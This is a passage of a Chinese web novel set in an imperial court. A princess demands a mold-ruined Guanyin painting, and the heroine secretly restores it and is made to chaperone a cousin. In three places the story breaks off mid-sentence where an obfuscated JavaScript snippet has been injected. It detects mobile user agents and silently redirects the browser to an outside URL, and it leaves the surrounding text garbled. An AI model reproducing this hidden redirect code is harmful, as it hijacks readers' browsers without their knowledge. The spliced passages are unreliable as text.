她又着人去调查了蒋念鸿,才知道她嫁的就是洪家的那个病秧子。她此前倒与那个病秧子有过一面之缘。此人在茶楼大厅里拿着一副观音图跟朋友吹嘘那画是前朝大师存师南所画,只此一副留世,千金难得,是他娘子的嫁妆。 如今知道母亲在整理佛像画为诞辰做准备,心下便生出要借此去会会蒋念鸿的想法。 “你说那蒋娘子手里有前朝大师存师南的观音图?”李莲依有些惊讶。 李莲依收集佛像画多年,也知道专精此道的名家大师,这存师南便是其中一位。他是前朝宫中供奉的画师,最擅画观音,深得当时的皇后喜欢。只是后来前朝覆灭,先皇大火烧宫十日,他的画作皆数葬身火海,他因感念皇后知遇之恩也在当时自缢而亡。 韩瑟瑟扶着李莲依到贵妃榻上坐下,柔声道:“明华岂敢欺骗母妃。当日在茶楼女儿曾亲眼见过那观音图,着实神形一绝。加之我已使人探访过了,蒋家与存南师是同乡,存南师未发迹时曾以画充钱购买了蒋家一处无人住的宅子。想必这观音图就是那时流传下来的。” 听女儿这样说得这样在理,李莲依当下便深信不疑,刚好她正发愁自己的佛像画虽多却缺一副能独一无二的稀世奇珍,眼下可正是合了她的心意。 韩瑟瑟看自家母妃脸上的微笑,知道母妃是被自己的话打动了。她便接着道:“若母亲允许,那女儿明日便到方府去借画。” 李莲依看着不远处金丝楠木架上放着的装有佛像画的几十个画匣,点了点头,又对女儿嘱咐道:“明华,你记着是借画不是要画。虽则我们王府是皇亲贵胄,但人家若不愿相借,你也莫以权势威逼。” “女儿知道了,我会好好同那蒋娘子说的,母妃勿要担心。” 韩瑟瑟脸上是再端庄不过的微笑,李莲依见女儿为自己分忧,怜爱地抚摸女儿的脸颊。 翌日清早,韩瑟瑟未下拜帖便领着自己的两个贴身丫鬟去到方府。 何夫人正在采晖堂内的罗汉床上吃着樱桃,听到康健安的禀报,快放入口中的樱桃一骨碌落到了地上。自从上次拒婚赵王府后她亦担心赵王府对方府不利,不过此后却未见赵王府动作。她以为此事已经翻篇,没料到明华郡主今日又不请自来,她心中不禁担心起来。 何夫人从罗汉床上起身,对一旁的张嬷嬷道:“红杏,随我去前院。” 韩瑟瑟今日依旧打扮得珠光宝气,身穿石榴红广袖对襟襦裙,脖子上戴七宝璎珞。她在进入方府后便在前厅参详起来,见方府布置简朴大气,不似京中达官贵人府中只知装饰华贵,丝毫不讲求格调,心中倒颇有好感。 何夫人见韩瑟瑟在堂中站立,连忙快步走到她身边行礼,“臣妇见过明华郡主。” “不必多礼,夫人请起。”韩瑟瑟见何夫人和方冉途有几分相似的眉眼,伸手将人扶起来。 何夫人对她的举动有些意外,这明华郡主似乎不像传闻那般无礼,她笑道:“郡主快请上座。” 待人坐定,何夫人问出心中的疑惑,“不知郡主今日尊驾降临敝府所谓何事?” 韩瑟瑟用手摸了摸鬓发,笑道:“我母妃下月诞辰意欲做佛像画展庆寿。我素日听闻太常寺少卿洪大人家儿媳蒋娘子手中有前朝大师存师南的观音图,乃是稀世珍宝,我母妃便想借画一用。我闻其夫亡故后暂居贵府,所以今日才来叨扰。” 听她说完缘故,何夫人心下大安,对珍珠说道:“去落梅院对表小姐说明此事,将画借来。” 珍珠领命刚想离开,韩瑟瑟道:“把蒋娘子一道叫来,我既是向她借画自当当面感谢才是。” 珍珠看向何夫人,见何夫人颔首应允方才离去。 碧桃过来奉上清茶,何夫人招呼道:“郡主请用茶。” 韩瑟瑟端起茶碗见不是自己素日常喝的内供紫笋茶,又将茶碗放下。何夫人见她动作,也并未说话。想着从落梅院过来需要不少时间,何夫人便和韩瑟瑟聊起些京中风俗,两人倒也相谈甚欢。 珍珠脚程快,不到一炷香的功夫就到了落梅院向蒋念鸿禀明此事。蒋念鸿不知明华郡主如何得知她手中有存师南的画。那画确实是她家的传家宝,父母当初怕她小门小户被夫家轻视才将画放到她的嫁妆之中。但洪达祖也好赏玩字画,于是将她的画拿去自己书房独霸,她也不好过问。等到这次收拾嫁妆她才在他的书房找到此画,不过画上已是布满霉斑。 但明华郡主既然上门讨要,她也不敢不给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166934|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“凝霜,映雪你们快随我去书房把那副观音图找出来。” 从珍珠过去已经有半个时辰时间,韩瑟瑟已经有些生气,“何夫人,蒋娘子一直不来,莫不是要我亲自去请她不是?” 见她面色不虞,何夫人对张嬷嬷使眼色让她去催。又对韩瑟瑟赔笑道:“郡主说的哪里话,我侄女有病在身故而脚程慢了些,还请郡主见谅。” 又等了一炷香时间,蒋念鸿才姗姗来迟,只见她一身淡粉衣衫,额上点点薄汗,恰似初夏新绽的芙蕖。韩瑟瑟上下扫视她,觉得蒋念鸿不过是个弱不禁风的闺秀,长得也没有多么出众,一时有点后悔自己浪费时间找这么绕的借口来见这个情敌。 “民女见过郡主。”蒋念鸿声音中都还带着微微喘息声。 “哼,蒋娘子真是好生难见,本郡主在这里等了这许久时间才得见真颜。”韩瑟瑟觑眼冷声道。 蒋念鸿连忙下跪,“郡主恕罪,民女绝不敢怠慢郡主,只是因为找画,方才来迟。” “那画呢?”韩瑟瑟冷声问。 “回郡主,那画一时找不到了,我方才连同丫鬟上上下下翻找一通,未能找到,可能被我遗失了。”蒋念鸿解释道。那观音图在洪府时是她亲手同其他的书画一起打包装箱,但方才就是无论如何也找不到。为此才耽搁许多时间,迟迟才到前厅。 韩瑟瑟闻言将桌上的茶碗朝蒋念鸿脚边砸去,啪的一声,飞溅的茶水打湿了蒋念鸿的衣裙,她不敢作声,只愈发恭敬地跪着。 韩瑟瑟起身走到蒋念鸿身前,躬身用指尖挑起她的下巴,看着她楚楚可怜的样子冷笑道:“蒋娘子,你是在同我开玩笑吗?若是你舍不得那画,怕我赵王府私吞,大可堂堂正正拒绝我,而不是找这等理由,拿我当三岁小孩戏弄。” 见侄女跪在地上,随时要支撑不住,明华郡主又如此咄咄逼人。何夫人连忙好生劝解道:“郡主莫要生气,那画可能落在哪里一时间寻不到。等寻到此画,我一定派人送到王府去,决不会误了王妃的寿诞。” 韩瑟瑟闻言,起身接过婢女拿的手帕擦拭自己的手指,又看向蒋念鸿问:“不知道蒋娘子和何夫人是不是一个意思?” 蒋念鸿点点头,“是郡主,等民女找到画一定立马送到王府。” 韩瑟瑟不屑地看了蒋念鸿一眼,转身对何夫人道:“夫人,借画一事既已说定,那明华就先告辞了。” 将韩瑟瑟送出府门后,何夫人连忙回转过来查看侄女的情况。她扶起蒋念鸿到采晖堂,又让映雪去落梅院取蒋念鸿的衣裳过来。 “念鸿,你方才被茶碗砸到没有?”何夫人关切地问。 蒋念鸿摇摇头,“姨妈,我没事。” 不久后映雪取来衣服还捧来一个画匣,先前他们过来时凝霜仍在落梅院找画,终于在书柜下方的空隙中找到了观音图。 何夫人打开画匣一看登时傻了眼。 “姨妈,我先前就想和你说的,这画已经毁了。”蒋念鸿看着自己的传家宝被洪达祖糟蹋成这个样子心中也十分难受,可如今已经答应明华郡主将画送去又更是为难。 何夫人把画收起来,坐在罗汉床上,觉得脑袋一阵痛,叹了口气道:“万不可这样把画送过去。京中装池店众多,我让康管家去问问有没有哪家能有办法还原。” 蒋念鸿觉得自己怀璧其罪反倒给方家惹来麻烦,心中好是过意不去。何夫人看穿她的自责,安慰道:“念鸿,这不是你的错,别往心里去。” 何夫人让人送蒋念鸿回去休息,又让康管家出门去裱背铺问问有无办法补救。 及至申时,只见方冉途抱着一个锦盒缓步走进采晖堂,眉眼间流露出罕见的喜色。 17. 两百两,我能修 采晖堂里,何夫人正歪在罗汉床上犯愁。若是霉菌除不掉,她要怎么去找一副观音图送到赵王府,若是送副假画去,赵王妃发现又会不会降罪于方府?正想得头痛之时碧桃通报二少爷来了。 “儿子见过母亲。”方冉途恭敬行礼道。 何夫人收敛神色,尽量让自己如同往常一样。她见方冉途身上还穿着红色官服想是刚下值便直接往采晖堂来的,又见儿子眼角眉梢的喜色,便问道:“二郎何事如此高兴?” 方冉途拿着手里的锦盒放到罗汉床的矮几上,“母亲,你打开看看。” 何夫人见他神神秘秘的,伸手打开了锦盒,见里面是满满的血燕。血燕并不易得,素来多为宫里贵人享用,她看着儿子问道:“这是哪里来的?” “今日圣上宣我到御书房问话,言论谈起慈母之道,我讲了几个您幼时教导我和大哥的事,圣上听了高兴便赏了这一盒血燕,让我转赠给您。”方冉途微笑着跟何夫人讲起今天在御书房的事。 听到是这个缘故,何夫人勉励了一番方冉途后说道:“此物是御赐,按理不该转赠。血燕是滋补佳品,但是我身体康健,用了实属浪费。你表姐身体虚弱,正是适合进补,你一会儿就拿到落梅院去,也不要说是御赐,只说是朋友所赠。” 方冉途听罢点头,“那儿子就依母亲的意思。” 何夫人又接着将今日明华郡主来借画的事情告诉他,让他送血燕时顺便宽慰蒋念鸿,她本就在病中,再把借画之过揽在自己身上加重病情就不好了。 母子两人说话间,康健安走了进来,“见过太太,二少爷。” 何夫人见他手里还抱着画匣,知道事情应该没办成,还是问道:“事情办得怎么样?” “太太,我跑遍了墨香街上大大小小的书画铺和裱背铺,没有一家肯接下这单子,他们都说自己是裱新画的,修不了这旧画。” 听到康健安的回话,何夫人心凉了半截,要是墨香街那里也不能做,那京城里估计就没人能做了。她让康健安把画匣放到罗汉床的矮几上,对他说,“康管家,你跑了半日也辛苦了,下去歇着吧。” 方冉途打开画匣,看到画霉成这个样子也是震惊。不过翰林院中善书法爱丹青者众多,这些人对书画保存清洁也颇有心得,于是他开口道:“母亲把画给我吧,我来想办法。” 何夫人无奈把画给了他。方冉途回竹香院换过衣服后就拿着血燕往落梅院去。正如何夫人所想的那样,蒋念鸿愁眉不展,病容更甚从前。 见他送来如此珍贵的血燕,又拿话宽慰她,她反倒心里更不好受,“表弟,这都是表姐这画惹出的是非……”说着脸上淌下泪来。 方冉途看她秀眉紧蹙,泪眼盈盈的样子,心中难受得仿佛被人揪住心脏一样。他连忙安慰道:“表姐,此事并非你的过错,切勿自责。况且那画也不是全然没有补救的希望,翰林院中有众多书画藏家,我明日去问问或许能找到方法。” “是啊小姐,二少爷的话有理,一定有办法解决的。”映雪也从旁附和道。 蒋念鸿闻言,睁大眼睛看着方冉途问:“表弟说的可是真的?” 看到她热切的眼神,方冉途重重点头道:“自然是真的,表姐放心。” 蒋念鸿拿出手帕拭去眼泪,脸上挤出一抹笑,“那我就等表弟的好消息了。” 第二日方冉途在翰林院问相熟的同僚,都言没有听过满是霉斑的画还能修复,他见希望落空在椅子上伤神。 褚炤见他如此,过来安慰道:“那画固然修不好,你也不必伤心。我家里也有几幅名家作品,你要是喜欢,我改天都给你送到家里去。” “多谢期盈好意,只是非这幅画不可。”方冉途摇头道。 方冉途其余时间都在案前整理前朝的史料,皇帝已经下令让他们在五年内将前朝的国史修出来。待到下值后,方冉途在府衙门口碰到了翰林院待诏唐新言。唐新言一直想认识这位少年英才却没有合适的契机,现今听同僚说起他在找修画之法他便想起自家小舅子向他吹嘘过的能补画的美人。 唐新言上前一步,走到他近前,重重咳嗽一声。 方冉途见身后有人便转过头看。 唐新言笑着行礼道:“我是何大人手下做事的待诏唐新言,见过方编修。” “唐大人有礼了,唐大人找我可是有事?”方冉途问道。他在翰林院也见过唐新言,他屡试不第,年近四十才中了进士,授了翰林院待诏一职。两人往日没有交集,故而不知为何找他说话。 唐新言伸出手摸自己修剪整齐的胡须,道:“听闻今日方大人在翰林院中打听给画去霉一事,我今倒晓得有城东的甘井街上有一装池店名叫故荣斋,我妻弟前些日子在那店里修好被虫蠹的画,方大人不妨前往一试。” 听闻此言,方冉途眼前一亮,拱手谢道:“唐大人救我急也,多谢。” “些许小事,不足言谢。”唐新言也回礼道。 “既如此,我先行一步,改日请唐大人饮茶。”告辞后,方冉途便坐上马车回府。 舒容这几日都在故荣斋里和胡掌柜一起忙着裱那六幅画。因只用装裱不用修补,省去许多步骤,现在六幅画都已经镶嵌好后上墙,只待画干后便揭下来打蜡装杆。她每日忙得回到桂馨院只想倒头就睡。绿影最近老爱去找厨房的李大娘聊天,李大娘在府内各院都有人脉,消息灵通。绿影便每日将自己得来的新闻转述给舒容,舒容也知道了明华郡主上门借画的事情。 第二日舒容在故荣斋里教胡顺治浆糊。前两日胡顺找到胡掌柜说也想学习装裱,将来也有个手艺傍身。胡掌柜知道自己也是个半吊子,不愿耽误侄子,于是带着胡顺行了拜师礼认了舒容做师父。 胡顺今年十八岁,算起来比原身还要大上两岁,但舒容本身已经二十八岁,所以多了个小徒弟她倒没什么不自在的。她制定了简易的教学计划后便先领着胡顺做浆糊,等他能把浆糊做好,再循序渐进教他其他事情。 舒容今日教的便是用花椒水的古法治糊,师徒两人正蹲在灶房门口用竹筲箕过滤花椒水。 胡掌柜突然从店中走到后院来,“容姑娘,来了一个做修复的单子,但我看那画满是霉斑,不知道能不能接?” 一听有新单子舒容眼睛亮起来。她正愁马上夏天要到,天气炎热时浆糊极易变质,古代又没有空调,那时恐怕就不能再接单子,整个夏天店里可能都会面临着无钱进账的局面。 “胡掌柜烦劳你把画拿到后堂来,我看过再说。”舒容起身对胡掌柜说。 “好,我这就去。” 舒容把画拿到裱房打开,看到画上的霉斑,才发现这不正是绿影说的明华郡主要借的观音图。 她对胡掌柜说:“此画霉斑甚重,但也可修,不过我要收二百两银子,一个月后取画。客人能接受我就修。” 胡掌柜听她要价二百两银子有些不敢相信,他接的大单也就收十两。但想到到手是对半分红,容姑娘的手艺别处也没有,便又拿画到前面店里看客人的意思。 方冉途没想到这甘水巷就在离他府上一条街的地方,他素来装裱字画都是去墨香街的风雅阁,倒是没注意过这里还有家裱背铺。但他看这故荣斋店铺狭小,店内装裱展示的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173316|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字画装裱功夫参差不齐,那装裱技艺好的,画上已经落了一层浮尘,画看着还簇新的,又裱得颇不平整,有些地方已经出现了脱落。 他一时也拿不准这家店的手艺,但如今也没有其他选择,只能是死马当活马医了。 胡掌柜掀开隔断店内和后院的珠帘,抱着画走进来,见方冉途正打量墙上画的成品,一时有些心虚。等之后有时间一定要把墙上的画慢慢替换成舒容做的,现下也只好多美言几句,让客人能相信自家的手艺。 “客人久等了,我家师傅说了此画能修。”胡掌柜先把结果说出来。 方冉途的脸色由阴转晴,喜道:“那便好。” “只是……”胡掌柜犹豫着还是没有立马把价格报出来,不过看眼前的公子锦衣华服,也不是付不起钱的,便开口道:“此画霉斑严重,修理破费功夫,需二百两银子我家方才敢接下此单。” 他说完观察方冉途的反应,只见对方道:“那便拜托掌柜了,此画务必用心修补。费用不是问题,我现取一百两以做定金。” 见方冉途取出一百两银票交给自己,胡掌柜再三保证会好好修补后送他离去,约定好一个月后再来取画。胡掌柜拿着那一百两银票欣喜若狂,抱着画又去后院寻舒容。 “容姑娘,那客人答应了,给了一百两银子的定金,下月二十五来店中取画。”胡掌柜说完要把银票交给舒容,舒容让他收好等到画修好再结算分红。 舒容把观音图拿到裱房,先对画的伤况做了记录,除了因保存不当造成的霉斑外,画心还有多处折痕,应该是收纳时不注意手法所致。见舒容在纸上写下画的情况,胡顺也凑过去看她写的记录,因早年父母让他到私塾中读过几年书,他也能识字算数。 “师父,写下这个可是为了之后再装裱的时候参照?”胡顺问道。 舒容点头道:“正是,各项数据写清楚也不至于有遗漏,到时候装裱起来便十分方便。” 舒容写好伤况表后,又让胡顺在一旁看自己裁画心,一边给他讲解。 “你去灶房烧一锅沸水,再去寻一块皂角,等会儿我们要开始洗画。”舒容吩咐道。 胡顺惊讶道:“师傅,这画是纸做的,怎么能拿水洗?” “你拿来便知。” 看着舒容安心的眼神,胡顺顶着不解还是很快在灶房烧好水提到裱房来,又去寻了半块洗衣剩的皂角。 舒容将裁好的画心放在皮纸之上,又用鬃刷轻轻刷去表面的浮尘,胡顺看的认真,在心中默记舒容的动作。舒容把浮尘刷完,将皂角在放在水中融化成皂角水。拿出一块面巾对胡顺说:“现在就可以用这皂角水洗画了,先用水把画浸湿,等它略微泡一泡再开始洗画。” 舒容说着拿起排刷往画上开始慢慢淋温水,胡顺十分担心画会烂掉,但见师父信心十足的样子也放下心来。 观音图的霉斑十分严重,清洗了二十多次后才将画洗净。被霉菌遮住的观音图终于露出真容,只见画中观音身着宝衣,左手持净瓶,右手持柳枝,赤脚踩在七彩宝莲之上。舒容被画上观音菩萨慈悲悯人的神情所打动。胡顺看到观音图更是当即在裱房中跪拜起来。 等揭完命纸,时间已经到了黄昏,来不及覆背,舒容便将湿面巾盖在画上保持湿度。 回到桂馨院时,绿影已在小门张望许久。一见舒容回来,便急忙上前问道:“姑娘,今天怎么回来这么晚,我拿回来的晚食恐怕都要凉了。” 吃完晚食,绿影给舒容送来一顶她自己做的帷帽,舒容在屋内试戴帷帽,张嬷嬷正好送两匹衣料到桂馨院,此时已经到了门外。 19. 舒容来当电灯泡 话说这来人不是旁人,正是张嬷嬷。何夫人怕蒋念鸿不服朱大夫开的药,特意让她过来看看,没成想就知道了方冉途的这个秘密。 “什么?”何夫人听到张嬷嬷的话,手中的茶杯登时落在地上,摔成几瓣。 珍珠在屋外廊下同碧桃聊天,听见声响连忙进屋,见到地上摔碎的茶杯便道:“太太,怎么了?” 张嬷嬷看她一眼,“没事,待会儿再来收拾。出去把门看好,太太和我要说话,别让旁人进来。” 珍珠向来有些怕张嬷嬷,赶紧点头出去了。 见何夫人还没缓过神,张嬷嬷扶她到罗汉床上坐下。何夫人拉住张嬷嬷的手,眼睛里落下泪来。 “红杏啊,你说这……”何夫人无论如何也无法相信二郎竟然喜欢自家侄女,还爱慕许久。想来就是前几年念鸿到府中暂住的时候,他就动了心思。但她接受不了念鸿成为自己的儿媳妇,她和何天星成为姐妹是她改变不了的事情,但她绝对不可能再和何天星成为儿女亲家。 张嬷嬷自是知道她的心思,道:“太太无需忧心,我看此事也只是二少爷剃头挑子一头热,表小姐不像是对二少爷有男女之情的意思。” 想想自家侄女在府上的所作所为,何夫人也赞同张嬷嬷的意思。“只是念鸿的病一时半会儿还好不了,竹香院和落梅院挨得这样近,长此以往如何是好?” 张嬷嬷笑道:“幸而此事还没有挑明,少爷平时公务繁忙,去落梅院的时候也有限。虽则落梅院和竹香院挨得近,那桂馨院不还在竹香院里头嘛,太太何不让舒容姑娘去牵扯二少爷。等到表小姐病愈回乡,再嫁他人,二少爷的念想不就只能落空嘛。” 何夫人听完张嬷嬷的主意,点头笑道:“这个主意好,此事也不便挑明,否则念鸿在府上住得一定不自在,怕不等病好就要回西平,万一加重病情我就罪过大了。就让舒容从中周旋,我看二郎也很喜欢舒容,有她在,二郎对念鸿的心思也会收敛几分。” “正是这样。” “好,你让人去传话让舒容明日上午到采晖堂来,我亲自跟她说这件事。” 再说舒容自那天得了观音图的分红一百两,第二天就带着绿影去了上次光顾的德庆银楼,让绿影自己挑选首饰,绿影盛情难却选了一副蝶恋花亮银头面,花了十二两银子。 主仆二人又雇了马车去城南的扬水河畔踏青。扬水河是云江的支流,云江发源于京城两千里外的乐玉山,自西向东流入东海。扬水河也是自西向东于京城南面穿过,前朝时皇帝下令开凿南北向的永宁运河,于是扬水河又通过运河和城北的济民河连通起来形成了贯通京城南北的水系。 正是初夏时节,天晴日暖,扬水河畔游人如织,各色卖吃食鲜果饮子的摊子一个挨着一个。舒容和绿影两人一直在河边游览观光待到黄昏时分才坐马车回府。 连日店中也无事,胡掌柜的那几幅画已经镶嵌好上墙,需些时日才能揭下,舒容便没有去店中,只在桂馨院里休息。 珍珠来的时候正值傍晚,舒容正在屋里和绿影学着做荷包。 “舒容姑娘,太太吩咐你明日上午到采晖堂来。” 舒容倒不觉得有何奇怪之处,毕竟何夫人往常也叫她去采晖堂聊天。 第二日一早,她换上一身草绿色绣百合花对襟袄裙,头上戴了整副方冉途送的珍珠头面,袅袅婷婷地和绿影一起去往采晖堂。 舒容到时,何夫人正在屋内插着牡丹花,看见舒容装扮明丽动人,好不喜欢。夸道:“舒容,我看你比我这里的牡丹花还要美丽呢。” 舒容已经知道何夫人喜欢夸人,但听到她说自己长得好看,舒容心里还是高兴。 “太太过奖了,要说这里能比得上牡丹花的人,不是我而是太太,只有太太才比得过牡丹这雍容华贵的气度。” 碧桃把茶上好,何夫人把插好瓶的花让珍珠摆放到屋里去,拉着舒容到罗汉床上坐下。 张嬷嬷挥手让其他丫鬟出去,屋里只剩他们三人。 “舒容,今日我叫你来,是为了跟你说件事。”何夫人看着她道。 舒容点头,“不知太太吩咐舒容何事?” 何夫人喝了口茶,笑道:“是这样的,你知道表小姐已经到府上一段日子。因她一直病中,我还没有让你二人认识。近来她又因吹了风发热,我想着她在府中总是无聊,你不妨常去落梅院里陪她说说话。” 舒容想何夫人怎么会突然让她一个通房去陪表小姐,她自己愿意,人家会不会觉得身份不对等,觉得方府轻慢她。 似是何夫人看出她的犹疑,道:“念鸿那孩子是个好的,你也是个好的,念鸿不是那等看人下菜碟的人,你不用担心。” 见她如此说,舒容也只得含笑应下。 何夫人又补充道:“我听闻竹香院的小厮说二郎近日总是去落梅院看望他表姐,他这份待姊妹的心是好的。只是他表姐寡居暂住在我家,他又是个还没成亲的男子,怕传出什么不好听的话对念鸿不好。所以我想以后二郎要去落梅院见念鸿,我都让竹香院的小厮来桂馨院通知你,你们一同去,也就传不出什么闲话了。只是这内中缘由你我知道就好,不必跟二郎说明,你可明白?” 舒容这才听明白何夫人绕这么大个弯子原来是让她去当方二少爷和表小姐之间的电灯泡,看来何夫人也是察觉到些什么,否则不会非要让她从中插一脚。主母有命,她不敢不从。于是,她装作不懂的样子,笑道:“太太思虑周全,二少爷以后去落梅院我都会跟着去的,保证传不出闲话来。我也不会把今日太太所讲之事告诉二少爷,只说是我想去看望表小姐。” 何夫人见她听懂自己的意思,欣慰地点点头。 这件事说完,何夫人又留舒容品鉴了天香楼新出的红枣酥糖,她走时何夫人还让碧桃给她带上两包。 回到桂馨院时候尚早,她想起故荣斋还缺做成册页的画,便出门买了作画用的颜料等物品。那日在扬水河踏青的景色不错,她便预备画十二幅斗方大小的《扬水河初夏十二景》,将其做成册页,到时候放到店中做宣传。舒容先把每幅画要画的内容先在纸上记下来,接着再预备一一画出来。 想到上午何夫人说的让她随方冉途去落梅院看望表小姐一事,她觉得不如自己趁方冉途不在家先自己去落梅院跟表小姐认识,免得到时候他要找借口推脱。 只是光手上门探望病人她有些不好意思,想起早上在何夫人处看到的鲜花,便和绿影出门买了好几种花回来,有牡丹、绣球,月季和茉莉,两人又在院中剪了些草和树枝。最后在舒容设计下绿影抱着一篮鲜花跟着舒容去落梅院探病。 蒋念鸿看到舒容来看她很是高兴,她在落梅院里实在是无聊,虽然在京城中也有几家交好的娘子,人家也不便到方府中看她。看到舒容插的篮花花色繁多,形态自然灵动,心下很是喜欢,连忙让映雪给舒容看茶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒容暗中观察方蒋二人的神色,方冉途的喜欢有些过于明显了,蒋念鸿倒看不出对方冉途有意思,也难怪方二少爷是单相思了。 舒容起身跟方冉途问好:“舒容见过二少爷。” “你怎么突然来落梅院了?”方冉途侧过头看着她问。 “舒容是怕我病中无趣,特地来落梅院陪我聊天的。”蒋念鸿怕方冉途责怪舒容,连忙开口道。 舒容对蒋念鸿的体贴投去一个妩媚的眨眼,蒋念鸿也回报一个矜持的微笑。方冉途看着两人在自己眼皮子底下暗送秋波,心中有些不快,默默坐到蒋念鸿下首,舒容对面的椅子上。 因着舒容在,方冉途没坐多久便离开,舒容也跟着一起回去。临走时蒋念鸿拉着舒容的手嘱咐舒容多来落梅院看她,舒容笑着应下。方冉途把她们的小动作看在心里,恨不得把舒容从表姐身边拉开,让表姐拉的人是自己。 回去的路上,方冉途一言不发,等到分岔路时也没有看舒容径直去了书房。舒容知道他是怪她抢走表小姐的注意,破坏他和表小姐相处的二人时光,不过谁让她是何夫人认定的电灯泡呢,又大又亮闪到他的眼,她也没有办法。舒容一路迈着轻快的步伐回了桂馨院。 第二日一早,一辆青油布马车在大门口停下,从马车中下来两个穿着直身的中年男人,康管家对二人拱手行礼,引着二人朝采晖堂的方向走去。 20. 表姐凭什么更喜欢你? “太太,朱大夫来了。”康管家对坐在罗汉床上看话本子的何夫人说道。 闻言,何夫人放下话本子,“请他们进来吧。” “朱承见过夫人。这位便是我的师弟张质,他尽得家师真传,其医术远在我之上,刚四处游历归来,此番我想让她来为表小姐治病。” “好,我那侄女的病便拜托二位了。” 何夫人请两位大夫喝过茶水暂时歇息后,康管家又领着二人到落梅院中,张质给蒋念鸿把脉后诊断她是心病外化,并无其他大碍,开了一个月的药,让她多和人说话,以此消解心中郁气。 何夫人听到大夫的诊断,特地又让张嬷嬷去找舒容嘱咐,让她有空多去落梅院陪表小姐聊天。 正好舒容也无事,故荣斋中最近没有新单子,天气渐热装裱已经进入淡季。她的《扬水河初夏十二景》以一天一副的速度慢慢画着。她便隔了两天又领着绿影去落梅院找蒋念鸿说话。 见到她来,蒋念鸿脸上露出灿烂的笑容,拉她到自己坐的锦榻上坐下,欣喜道:“我早就盼着你来了。刚刚我还对映雪说呢,要是再过两天你不来找我,我就到竹香院去找你去。” 舒容看她脸色红润不少,不似之前病恹恹的样子,笑道:“看来新给表小姐看病的大夫医术果然高明,我看表小姐气色好多了。” 蒋念鸿闻言,伸出手摸自己的脸,笑道:“确实如此,这张大夫开的药我才吃了几天,身子感觉松泛多了,胸口似乎也不觉像往日那样气闷。” 旁边的映雪也补充道:“我们小姐现在也能吃下一小碗饭了,往日是半碗饭都吃不下的。” 蒋念鸿嗔怪道:“你这丫头,这也要拿出来说。” “表小姐,都说五谷养气,你能多进饭说明体内阳气充足,看来很快就要痊愈了。”舒容看着她说道。 “那便借你吉言了。我往日在屋内没什么可做的,也就只能做做针黹,偶尔画画。不知道舒容妹妹平时做些什么打发时间?”蒋念鸿温柔地问舒容。 “我平日里也绣花,不过才跟着我这丫鬟学了不久,绣得还不好。”舒容回道。 蒋念鸿安慰道:“慢慢来,时间长了也就好了。你若是有不会的可以拿来问我,我这么些年也就绣花将就能看。” “表小姐何必如此自谦,我听说表小姐画画也画得很好呢,不知道舒容能不能看看表小姐画的画。”舒容一脸真诚地问道。 “好啊,跟我来。”蒋念鸿起身领着舒容去了旁边的书房。 蒋念鸿的书房里摆着一张雕花紫檀木桌,桌上摆放着笔墨纸砚等一干物什,桌子上摊开着一幅没有画完的山水画。屋内东侧摆放着两个酸枝木书架,书架里是满满的都是各类书籍。靠西侧的则是一个酸枝木长条案,条案上方挂着四幅青绿山水,条案上则是摆放着一对青花大瓷瓶和一个精致的玉雕船摆件。 舒容看着墙上的四幅画感叹道:“这画画得真好,让人看着便也觉得去过画中的山水了。” “这不是什么大家的作品,是我上京城前在一处画摊上买的,我也是喜欢这画中之景才将其张挂出来。” 蒋念鸿见舒容也喜欢这几幅画,更觉得她和自己意趣相投。转头看桌上还有自己前几天没画完的画,便道:“舒容妹妹可喜欢画画,不如我来教你?” “好啊。” 方冉途去落梅院的时候就看到这幅场景,他的表姐一脸温柔地看着正在书桌前提笔作画的舒容。 “二少爷来啦。”映雪朝里头通报道。 舒容听闻方冉途来了,将笔搁在笔架上向他问好,“舒容见过二少爷。” 对方淡淡地扫了她一眼,没有回应她,只对蒋念鸿温柔地问道:“听母亲讲表姐换了朱大夫的师弟治病,不知道表姐现在感觉好些没有?” “我好多了,多谢表弟关心。”蒋念鸿客气答道。 见舒容停笔,蒋念鸿便拿起笔重新递给她,鼓励道:“舒容妹妹,你天赋极佳,假以时日必定能大有所成。” “表小姐过奖了。”舒容说道。她暗想自己哪里是什么天赋派,她只是学了十多年画,有底子在罢了。 方冉途见两人一唱一和,全然没顾忌他在场,心中好大不快。这个舒容往常都是在桂馨院里,这几日非要来落梅院里凑热闹。他倒要看看舒容能画出什么东西。方冉途走近书桌一看,只见舒容在画芭蕉,青绿的蕉叶舒展,用笔生动自然,确实有几分能耐。 蒋念鸿见她过来看舒容画画,便看着他问道:“表弟,你道舒容妹妹画的好不好?” 舒容听到蒋念鸿这么问,也抬头看向方冉途,好奇他会给出怎样的评价。 见二人都看着自己,方冉途点点头,冷淡道:“看得过去。” 舒容心中翻个白眼,不再看他继续埋头作画。蒋念鸿笑笑也没说什么,又低头看舒容作画,时不时提点几句。两人之间气氛和谐,有说有笑,方冉途感觉自己完全插不进去,沉默地待了一阵,便安静地离开了。 